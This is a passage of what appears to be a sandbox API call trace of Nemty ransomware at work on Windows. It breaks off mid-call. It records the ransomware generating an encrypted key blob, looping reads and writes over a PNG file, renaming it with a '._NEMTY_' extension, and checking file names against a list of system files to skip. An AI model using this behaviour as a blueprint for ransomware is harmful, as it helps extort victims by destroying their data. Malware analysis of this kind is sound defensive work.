GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe2e18db0, dwHighDateTime=0x1d561e7)) [0079.246] GetLastError () returned 0x5 [0079.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0079.246] GetLastError () returned 0x5 [0079.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0079.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0079.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0079.246] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0079.246] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0079.246] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0079.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0079.246] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="hcAVVkpv/6CFVU7CnQOWAHTNqKnudCBMsw0PYNESQKES4SxjmDj32q/x6cuY/52z\r\nd7+bt4wQX+RsSLXrKnAFkna9vEZlwnX5xIzFvmnfxeRBM0qr6HcizyuvJw+D6QtP\r\neBL12R61JxvVJbG0kVBjh3w/y/JA9B1Ior4KZN40x9epxsJ8PRRRGVbY0EDYSnPA\r\nU5DXCZXfNYOGI2ctMy4wbiNtbu1G88Lke7zEbtP+zQ90SqTKqmyyyu1dFJmleoPt\r\n9PMDbwPJJJtBvKkVwfw6fca7RaQSvXqdwt39jNq47czslWtBRF5IKFlQzfeyZJCz\r\nlXNtC8r3yGwd56oYbt+XDg==\r\n", pcchString=0x653e91c) returned 1 [0079.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0079.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0079.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0079.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0079.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0079.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0079.247] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0079.247] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0079.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0079.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.247] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.256] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.256] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.266] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.275] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.275] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.284] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.284] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.294] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.303] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.303] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.313] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.313] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.322] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.322] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.331] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.331] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.341] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.341] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.347] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.347] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.353] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.353] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0079.353] CloseHandle (hObject=0xffffffff) returned 0 [0079.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0079.353] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0079.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0079.353] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0079.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0079.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0079.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0079.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0079.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0079.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0079.354] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0079.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0079.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0079.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0079.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0079.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0079.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0079.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0079.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0079.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0079.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0079.354] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.354] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0079.354] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0079.354] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="...") returned 1 [0079.354] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="windows") returned -1 [0079.354] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0079.354] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="rsa") returned -1 [0079.354] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0079.354] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.354] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0079.354] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0079.354] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.354] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.354] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0079.354] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.354] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.354] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0079.355] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0079.355] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0079.355] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.355] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="programdata") returned -1 [0079.355] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="appdata") returned 1 [0079.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0079.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0079.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0079.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0079.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0079.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0079.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0079.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0079.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0079.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0079.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0079.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0079.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0079.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0079.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0079.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0079.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0079.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0079.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0079.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0079.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0079.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0079.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0079.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0079.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94328 [0079.355] Sleep (dwMilliseconds=0x5) [0079.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe2f498b0, dwHighDateTime=0x1d561e7)) [0079.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe2f498b0, dwHighDateTime=0x1d561e7)) [0079.371] GetLastError () returned 0x5 [0079.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0079.371] GetLastError () returned 0x5 [0079.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0079.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0079.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0079.371] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0079.371] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0079.371] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0079.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0079.371] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: 